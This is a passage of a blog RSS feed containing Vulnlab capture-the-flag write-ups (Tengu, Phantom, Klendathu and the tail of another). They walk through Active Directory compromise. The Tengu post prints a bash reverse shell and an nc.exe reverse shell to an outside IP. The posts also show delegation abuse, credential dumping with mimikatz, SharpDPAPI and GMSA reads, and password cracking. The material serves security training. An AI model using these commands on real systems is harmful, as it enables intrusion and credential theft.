src="https://cdn-images-1.medium.com/max/1024/0*8MtTnRvcwTFeqkW8" /></figure><p>From here we can only do much about reading the NThash of frajmp from /etc/krb5.keytab</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/888/0*NVP90uHHts02OVLx" /></figure><p>Since we have password of _local, we can try password spraying on domain users which will work on Julian.Pratt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Rc5OWACvCqsQkgNa" /></figure><p>We can’t login directly on domain controller since it requires non admins to be in remote desktop group, home directory can be access through home$ share</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xLEcG_M-rY0Vrqgi" /></figure><p>From here we can grab the shortcut files for putty sessions from where we’ll get the password of adm_prju</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/0*aQTd95JjDrZpnzSL" /></figure><h3>Abusing Resource Based Delegation</h3><p>Checking for paths for gaining domain, this user is in Admins_T1 group which has WriteAccountRestrictions acl on domain controller, which essentially is similar to GenericWrite or WriteProperty that can allow to edit msDS-AllowedToActOnBehalfOfOtherIdentity adding a machine account for which we have password for abusing resource based delegation (RBCD)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*GOQWPUjhTBFFNVaz" /></figure><p>We can do this attack in two ways, since we have the NThash of frajmp, we can append that account in dc’s property or we can utilize a user account without having any SPN by replacing the password with it’s TGT session and combining S4U2Self and U2U protocols to abuse but this method is quite destructive and must be avoided unless there’s a test account</p><p>Going with the machine account approach, by first editing the property</p><pre>proxychains impacket-rbcd -delegate-from &#39;FRAJMP$&#39; -delegate-to &#39;MUCDC$&#39; -dc-ip &#39;10.10.153.149&#39; -action &#39;write&#39; &#39;heron.vl&#39;/&#39;adm_prju&#39;:&#39;passowrd&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dDDExeohy3aALtOy" /></figure><pre>proxychains impacket-getST -spn &#39;cifs/MUCDC&#39; -impersonate _admin -dc-ip &#39;10.10.153.149&#39; &#39;heron.vl/frajmp$&#39; -hashes &#39;:hash&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mS2zbNZJp7PzffaE" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/0*Is154MBkThiPdyzJ" /></figure><h3>References</h3><ul><li><a href="https://www.hackingarticles.in/credential-dumping-group-policy-preferences-gpp/">https://www.hackingarticles.in/credential-dumping-group-policy-preferences-gpp/</a></li><li><a href="https://github.com/t0thkr1s/gpp-decrypt">https://github.com/t0thkr1s/gpp-decrypt</a></li><li><a href="https://soroush.me/blog/tag/rce/">https://soroush.me/blog/tag/rce/</a></li><li><a href="https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd">https://www.thehacker.recipes/ad/movement/kerberos/delegations/rbcd</a></li><li><a href="https://github.com/sosdave/KeyTabExtract">https://github.com/sosdave/KeyTabExtract</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b68f12834220" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Tengu]]></title>
            <link>https://arz101.medium.com/vulnlab-tengu-8068a56d53c4?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/8068a56d53c4</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[kerberos]]></category>
            <category><![CDATA[vulnlab]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Thu, 19 Sep 2024 15:03:27 GMT</pubDate>
            <atom:updated>2024-09-19T15:03:27.515Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Tengu</h3><p>Tengu, a medium rated chained machine from vulnlab consisting of two windows and one linux host, had an instance node-red running on linux host configured with MSSQL, gaining command execution on that, lead to decrypting the password for the service, accessing MSSQL database by pivoting through linux host and dumping password hash for t2_m.winters who was a linux admin, the linux host had constrained delegation on SQL host though MSSQL through which we can impersonate MSSQL admin and gain local admin, we’ll recover domain admin credentials through DPAPI and using kerberos authentication to logon onto DC.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*jkcj0nWyZaZJp5Ln" /></figure><h3>DC.tengu.vl</h3><pre>PORT     STATE SERVICE       VERSION<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC.tengu.vl<br>| Issuer: commonName=DC.tengu.vl<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-09-14T15:26:33<br>| Not valid after:  2025-03-16T15:26:33<br>| MD5:   b350:11ed:41ce:ff32:a34f:0088:ce22:96f5<br>|_SHA-1: 711b:6409:e399:0771:d3d3:7eba:1938:5914:7c84:7528<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><h3>SQL.tengu.vl</h3><pre>PORT     STATE SERVICE       VERSION<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2024-09-15T15:30:31+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=SQL.tengu.vl<br>| Issuer: commonName=SQL.tengu.vl<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2024-09-14T15:26:45<br>| Not valid after:  2025-03-16T15:26:45<br>| MD5:   3cd6:9298:18df:b91e:5194:c958:0df4:528b<br>|_SHA-1: b304:c807:0de4:a171:0c1a:8b16:1f3e:bd29:2e21:99b5<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><h3>nodered.tengu.vl</h3><pre>PORT     STATE SERVICE       VERSION<br>22/tcp   open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|_  256 41:c7:d4:28:ec:d8:5b:aa:97:ee:c0:be:3c:e3:aa:73 (ED25519)<br>1880/tcp open  vsat-control?<br>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel</pre><p>Both windows hosts had only RDP service enabled, on linux hosts, there was something hosted on port 1880 which on googling shows it runs Node-RED, which is a flow based development tool for visual programming used in IoT devices</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*DcShDFaDbovi4Qn0" /></figure><h3>Remote Command Execution Through Node-RE</h3><p>Node-RED is known for getting remote command execution (RCE), to achieve this, we’ll need to create a flow by timestamp block following exec block</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5AXTSRYBLkkZ2BY-" /></figure><p>Replacing the curl command with bash reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vuuRisvyigBawUrJ" /></figure><pre>bash -i &gt;&amp; /dev/tcp/10.8.0.136/2222 0&gt;&amp;1</pre><p>After having the shell, it can be stabilized with python3 to use it as a normal shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/704/0*OGigh-Y7Z-Tl58XW" /></figure><p>From nodered directory, we can find some type of hashed password but not really sure who this belongs to and how this can be cracked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*m1xVIndwnm8nKRK2" /></figure><h3>Accessing MSSQL</h3><p>From sql node properties, we can see the connection string with the username nodered_connector</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pZpVfvJd9btH8ZNC" /></figure><p>So there’s a <a href="https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519">script</a> to decrypt the node-red credentials, which needs flows_cred.json and .config.runtime.json</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/0*R2PNEvlmsTDs0reK" /></figure><p>In order to connect to MSSQL, we’ll need to performing pivoting since that service isn’t exposed to us, we’ll use chisel socks proxy</p><pre>chisel server --reverse -p 3000<br>chisel client 10.8.0.136:3000 R:socks</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/0*8flQDGk-HG9YiRYV" /></figure><p>With this, we’ll be able to reach port 1433 on sql.tengu.vl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/0*jk3FDp8zQy57vKmd" /></figure><p>Trying to enable xp_cmdshell resulted in no luck as this user didn&#39;t had privileged in mssql</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/0*fstfUgg1ZWZQxyW1" /></figure><p>Enumerating the databases, there are two, which are not available by default, Dev and Demo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/0*MR6dpgFQH2wvPmxe" /></figure><p>Dev didn’t had anything interesting while there was one set of credential from Demo</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nrwWNyUdy7XAKaTz" /></figure><p>Attempting to crack this with rockyou.txt didn’t work as the password wasn’t present there however <a href="https://crackstation.net/">crackstation </a>came handy here</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/0*-Hq32oQczISOeHfc" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0_N5im587XtQoV9p" /></figure><p>Having the credentials, we can verify the credentials</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*paLOZzVgUpeUG7fM" /></figure><p>With bloodhound-python, the domain can be enumerated</p><pre>proxychains bloodhound-python -d tengu.vl -u t2_m.winters -p &#39;Tengu123&#39; -c all -ns 10.10.183.37</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dbztNnFUzAwjxPDx" /></figure><h3>Escalating privileges on linux host</h3><p>From bloodhound, t2_m.winters is a member of linux admin group which means we can have local admin on the linux host</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/610/0*IvNQN_M5LOAqVRFL" /></figure><p>Through ssh we can easily switch to t2_m.winters user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/0*lccTz1lBFfdhUu6Z" /></figure><p>this host has ReadGMSAPassword on GMSA01$ account</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/0*PiGt9qxbLK_JAMts" /></figure><h3>Constrained Delegation on SQL Host</h3><p>The NThash can be retrieved from /etc/krb5.keytab, this file contains service account hash in this case has NODERED&#39;s NThash, the hash can be extracted with <a href="https://github.com/sosdave/KeyTabExtract/tree/master">KeyTabExtract</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/735/0*nZ7FfY3IikSBqNX1" /></figure><p>This hash can be verified by authenticating on DC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*dI11Uma3jrYpby6u" /></figure><p>GMSA hash can be retrieved by using --gmsa module on LDAP</p><pre>proxychains nxc ldap 10.10.238.213  -u &#39;NODERED$&#39; -H &#39;hash&#39; --gmsa</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2SHflwJyOYLD5dvW" /></figure><p>This account has AllowedToDelegate permission on SQL host which means we can impersonate as a local admin on this host through MSSQL service, performing constrained delegation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/0*sXYTuooSeXKQMjHO" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/0*64d0p-Ak2MIB-V8s" /></figure><p>With getST.py we can try to impersonate as administrator user for MSSQL service sql host but it didn’t worked for administrator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ck_C3nSSvkHAcf1V" /></figure><p>Instead of admin, we can check what other users we could target, there’s a group name SQL Admins , with two users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/0*07q_55EfcRmcGMuo" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KqU1bEyX7dRrxy7l" /></figure><p>Here we can try to impersonate T1.M_Winters and then login through MSSQL using the ticket</p><pre>proxychains impacket-getST -spn &#39;MSSQLSvc/sql.tengu.vl&#39; -impersonate &#39;T1_M.WINTERS&#39; -hashes :hash &#39;tengu.vl/gMSA01$&#39;@sql.tengu.vl -dc-ip 10.10.168.213</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pjruuvHH4XW5bsq0" /></figure><p>From here xp_cmdshell was enabled as this service is running in context of of gmsa01$</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1amkJlfhlvPCWs1d" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*yf586MHF6q4a31vc" /></figure><p>Checking our privileges, we can get local administrator by abusing SeImpersonatePrivilege with <a href="http://With netcat, we can get a reverse shell">JuicyPotato-NG</a> or any other recent potato exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MFTK6eW4EtT6zKEs" /></figure><pre>JuicyPotatoNG.exe -t * -p &quot;C:\Windows\system32\cmd.exe&quot; -a &quot;/c C:/Windows/Temp/nc.exe 10.8.0.136 3333 -e cmd.exe&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*cQ8WJGmz-8ybUcKs" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/0*aIbFPNpR8QT-ZHUg" /></figure><h3>Lateral Movement — Extracting Credentials Trough DPAPI</h3><p>Running mimikatz to dump local admin hash and checking if there are any hashes in lsass</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/856/0*DSdK_ZMbfpwJBjD5" /></figure><p>With lsadump::cache , domain cached credentials can be found where there&#39;s cached credentials for c.fowler but obviously this is not in NThash format so it cannot be used in pth unless it&#39;s gets cracked, which in this case was a rabbit hole</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/984/0*nuc2_aGb7ZW_re2w" /></figure><p>To dump saved credentials from credential Manager/ task scheduler, we can target DPAPI which stores credentials with user specific keys, being a local admin we can utilize sharpdpapi to dump all credentials</p><pre>SharpDPAPI.exe machinecredentials</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*6Q3MQRrM6GOCQb3V" /></figure><h3>Using kerberos authentication to spawn a shell as T0_c.fowler</h3><p>T0_c.fowler is a domain admin, authenticating against the DC to see if the password is valid</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/0*BaujR7PQuPskFepD" /></figure><p>But the plain text password wasn’t working and it’s probably due to admin users belonging to Protected Users Group which is why we’ll need to use kerberos authentication</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*80ArpBBu7doR8tta" /></figure><p>So instead, using kinit we can request TGT for the user by specifying the plain text password and we&#39;ll get our ticket using by modifying the /etc/krb5.conf configuration file</p><pre>[libdefaults]<br>        default_realm = TENGU.VL<br>        kdc_timesync = 1<br>        ccache_type = 4<br>        forwardable = true<br>        proxiable = true<br>        rdns = false<br>        dns_canonicalize_hostname = false<br>        fcc-mit-ticketflags = true[realms]<br>        TENGU.VL = {<br>                kdc = dc.tengu.vl<br>        }<br>[domain_realm]<br>        .tengu.vl = TENGU.VL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/713/0*HuviAUJcebf7qd29" /></figure><p>Having the ticket, we can just dump hashes from ntds.dit using secretsdump.py or just spawn a shell using smb, wmi or psexec</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/0*KRIfG1_AYOQA9JQk" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*hhPvLPl7taKunQk7" /></figure><h3>References</h3><ul><li><a href="https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/">https://quentinkaiser.be/pentesting/2018/09/07/node-red-rce/</a></li><li><a href="https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519">https://gist.github.com/Yeeb1/fe9adcd39306e3ced6bdfc7758a43519</a></li><li><a href="https://github.com/sosdave/KeyTabExtract/tree/master">https://github.com/sosdave/KeyTabExtract/tree/master</a></li><li><a href="https://www.fosslinux.com/122323/how-to-use-kinit-command-on-linux.htm">https://www.fosslinux.com/122323/how-to-use-kinit-command-on-linux.htm</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8068a56d53c4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Phantom]]></title>
            <link>https://arz101.medium.com/vulnlab-phantom-3c4b4da492d9?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/3c4b4da492d9</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[vulnlab]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Mon, 22 Jul 2024 19:07:13 GMT</pubDate>
            <atom:updated>2024-07-29T15:58:14.281Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Phantom</h3><p>Phantom involved enumerating shares to find an email with a password, enumerating domain users by bruteforcing SIDs, password spraying to find a valid user, where we’ll find vyos backup which is an opensource router and firewall, encrypted with veracrypt, after decrypting we’ll get with password in the configuration file, spraying again to find this user has ForceChangePassword acl on a domain user having AddAllowedToAct on domain controller, performing resource based constrained delegation with any domain user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*7zDTw7VS47_IcYrp" /></figure><pre>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP<br>445/tcp  open  microsoft-ds?<br>464/tcp  open  kpasswd5?        <br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped                               <br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: phantom.vl0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services</pre><p>Enumerating smb shares with anonymous login</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/0*IF0rXg9NTxnMMyj3" /></figure><p>From the public share, we have tech support mail file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/0*xUDvwJ6pqYMJrkvz" /></figure><p>Which has a base64 encoded pdf file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/0*NBs3W2ntYBnbVxT4" /></figure><p>After decoding it from base64, we’ll get a password from this file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/703/0*NesHpseKenS8sqLL" /></figure><p>We don’t have a username yet, so brute-forcing SIDs for the username using lookupsid from impacket</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*mUh3RKpjr0YReNHr" /></figure><p>Spraying the password on all these users, only ibryant will be the account that has this password set</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2PWZqufqFjuO3bHK" /></figure><p>After logging onto Departments Share , there&#39;s a backup file in the IT folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/0*jqwyOH-DBFSBscNI" /></figure><h3>Decrypting veracrypt file</h3><p>The .hc the extension tells that it&#39;s a file from veracrypt software, as the name tells it encrypts data, this password can be cracked with hashcat but it wasn&#39;t present in rockyou.txt, so generating a custom wordlist, with company name, year, and a special character as mentioned in the hint from vulnlab wiki</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*hRYEJXp27mUzrYny" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/718/0*hvOjlxkb3dX3kKFz" /></figure><p>Mounting the image with veracrypt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/0*nqa0WdrJKw28LvaM" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/0*Zm3N9jb9OiMZMKy7" /></figure><h3>Password Spray</h3><p>There’s a vyos backup file, which is an open source OS for router and firewall, from the config file, we can retrieve the password for lstanely</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/0*C7nzsfka68MrIOf6" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/608/0*zQuiMs5p6Q1xoMNB" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*X1chRjwSNbB1KRbQ" /></figure><p>Which didn’t work but we can spray this password against the list of domain users that we have</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Y94XvV2bPopZ24MU" /></figure><p>This user can login through winrm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aICLirDCnr7v6JwY" /></figure><p>Enumerating the domain with bloodhound, we can change passwords for domain users with ForceChangePassword</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eRhZCCKYa49nIykH" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Jme4zvjeNZkE_ZK8" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/0*A5tErvVE6caQqHtR" /></figure><h3>Changing domain user’s password</h3><p>These users belong to ICT Security group which have AddAllowedToAct on domain controller, through this, we can edit msDS-AllowedToActOnBehalfOfOtherIdentity to add a machine account in this property to perform Resource Based Constrained Delegation (RBCD), with net rpc password can be changed</p><pre>net rpc password WSILVA -U phantom.vl/svc_sspr -S dc.phantom.vl</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/572/0*AVQdzDznKH3jylgX" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*isVpLmJcIJQw2pCF" /></figure><p>Editing the msDS-AllowedToActOnBehalfOfOtherIdentity property</p><pre>rbcd.py -delegate-to &#39;DC$&#39; -delegate-from &#39;WSILVA&#39; -dc-ip 10.10.118.204 -action &#39;write&#39; &#39;phantom.vl&#39;/&#39;WSILVA&#39;:&#39;Phantom2023!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6uuQNl2h92Cosu_T" /></figure><h3>Performing resource based delegation with a domain user</h3><p>To abuse RBCD, we need to know the status of the machine quota in order to create a machine account and then add it to DC’s property but the quota is set to 0</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*QfJEZoPOAt8EMZHU" /></figure><p>However, we can still perform RBCD through a normal domain user, for this we need a modified <a href="https://github.com/ShutdownRepo/impacket/tree/getST">branch of getST</a> with <a href="https://www.thehacker.recipes/a-d/movement/kerberos/delegations/rbcd">U2U kerberos extension</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/0*ZD6nJua0K0B0GxtJ" /></figure><p>First retrieving TGT with overpass-the-hash, extracting the TGT session key, and replacing it with the domain user’s NTHash</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/0*s2yQ3GFsPiHalRr5" /></figure><p>With S4U2Self and U2U, with WSILVA we can obtain a service ticket to itself on behalf of the administrator and then proceed to S4U2proxy to obtain a service ticket to the target the user can delegate to.</p><pre>KRB5CCNAME=./WSILVA.ccache getST.py -u2u -impersonate &quot;Administrator&quot; -spn &quot;host/dc.phantom.vl&quot; -k -no-pass phantom.vl/WSILVA</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*scXODLo0_xqB9-v5" /></figure><h3>References</h3><ul><li><a href="https://github.com/lvaccaro/truecrack">https://github.com/lvaccaro/truecrack</a></li><li><a href="https://codeonby.com/2022/01/19/brute-force-veracrypt-encryption/">https://codeonby.com/2022/01/19/brute-force-veracrypt-encryption/</a></li><li><a href="https://www.thehacker.recipes/a-d/movement/kerberos/delegations/rbcd">https://www.thehacker.recipes/a-d/movement/kerberos/delegations/rbcd</a></li><li><a href="https://github.com/ShutdownRepo/impacket/tree/getST">https://github.com/ShutdownRepo/impacket/tree/getST</a></li><li><a href="https://github.com/GhostPack/Rubeus/pull/137">GhostPack/Rubeus#137</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c4b4da492d9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnlab — Klendathu]]></title>
            <link>https://arz101.medium.com/vulnlab-klendathu-29c4eb3cbeed?source=rss-7fb09031e8a8------2</link>
            <guid isPermaLink="false">https://medium.com/p/29c4eb3cbeed</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[wi̇ndows]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnlab]]></category>
            <dc:creator><![CDATA[ARZ101]]></dc:creator>
            <pubDate>Tue, 09 Jul 2024 18:17:54 GMT</pubDate>
            <atom:updated>2024-07-09T18:17:54.777Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnlab — Klendathu</h3><p>Klendathu, an insane rated machine involved enumerating nfs share containing a configuration file with password hash of domain user, this user had guest access on MSSQL service, forcing authentication with sys.dm_os_file_exist , forging silver ticket then escalating privileges on SRV1, spoofing domain user on SRV2 with the MSSQL user and then decrypting RDCMan credentials with domain backup key.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*sML_mGplm44suPEw" /></figure><h3>DC1.KLENDATHU.VL</h3><pre>PORT     STATE SERVICE       VERSION<br>53/tcp   open  domain        Simple DNS Plus<br>88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-07-03 20:54:25Z)<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)<br>445/tcp  open  microsoft-ds?                <br>464/tcp  open  kpasswd5?                 <br>593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp  open  tcpwrapped                       <br>3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: KLENDATHU.VL0., Site: Default-First-Site-Name)<br>3269/tcp open  tcpwrapped            <br>3389/tcp open  ms-wbt-server Microsoft Terminal Services</pre><h3>SRV1.KLENDATHU.VL</h3><pre>PORT     STATE SERVICE       VERSION<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn          <br>445/tcp  open  microsoft-ds?<br>1433/tcp open  ms-sql-s      Microsoft SQL Server 2022 16.00.1000.00; RC0+<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services <br>| ssl-cert: Subject: commonName=SRV1.KLENDATHU.VL</pre><h3>SRV2.KLENDATHU.VL</h3><pre>PORT     STATE SERVICE VERSION       <br>22/tcp   open  ssh     OpenSSH 8.7 (protocol 2.0)<br>| ssh-hostkey:<br>|   256 d66045434fa19321bf1edcc36265e0e5 (ECDSA)<br>|_  256 1169f003859ff4ea1529d4c2655d27eb (ED25519)         <br>111/tcp  open  rpcbind 2-4 (RPC #100000)                <br>| rpcinfo:        <br>2049/tcp open</pre><p>We have smb port open on SRV1 and DC1, NFS on the linux hosts so let’s start enumerating the shares first</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/0*IDv3rJVmZGDpT_Od" /></figure><h3>Enumerating NFS share</h3><p>We get access denied on both of them, looking at nfs, we have /mnt/nfs_share that can be mounted from our host</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/393/0*iROGYge3DUSfyIcA" /></figure><p>Mounting the folder with mount</p><pre>sudo mount -t nfs 10.10.175.71:/mnt/nfs_shares /home/arz/Vulnlabs/Klendathu/shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/0*rmT6YrrFp8AOaPAO" /></figure><p>There’s a configuration file for a cisco switch, at the end there’s a contact email which could be a domain user, which is a valid user</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/0*KGrbg12zJqNKEJOm" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/0*jNCWOJNWsr5UgY_W" /></figure><p>We can also see a cisco secret password which is MD5 hashed</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/0*GYzINJR-5ftQJfEi" /></figure><p>This can be cracked with either hashcat or john</p><pre>hashcat -a 0 -m 500 ./hash.txt /usr/share/wordlists/rockyou.txt  --force</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/758/0*23DiQm1fIEb_ZQ6d" /></figure><p>With these credentials we can list down the shares on both windows hosts and can read HomeDirs on DC which is interesting</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i4jUBml4zxt_xkyo" /></figure><p>But these directories were not accessible with the user we had</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/0*EYDVrGMp_N0-JHgB" /></figure><p>Moving forward we can enumerate AD with bloodhound</p><pre>python3 /opt/BloodHound.py/bloodhound.py -d &#39;KLENDATHU.VL&#39; -u &#39;zim&#39; -p &#39;password&#39; -ns 10.10.189.69 -dc DC1.KLENDATHU.VL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*KNi-jclx7kUzurD6" /></figure><p>This user belongs to Netadmins group but there’s nothing beyond that bloodhound show us</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/0*orfTcipQJeyQrWax" /></figure><h3>Accessing MSSQL</h3><p>We have MSSQL running on SRV1, so verifying these credentials can be used to login there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/0*u_tS0JfH9mUwxkeo" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/0*9_o_A4t4n1IHpfUc" /></figure><p>Here we can try to enable xp_cmdshell , but it was not getting executed, similarly with xp_dirtree as well</p><figure><img alt="" 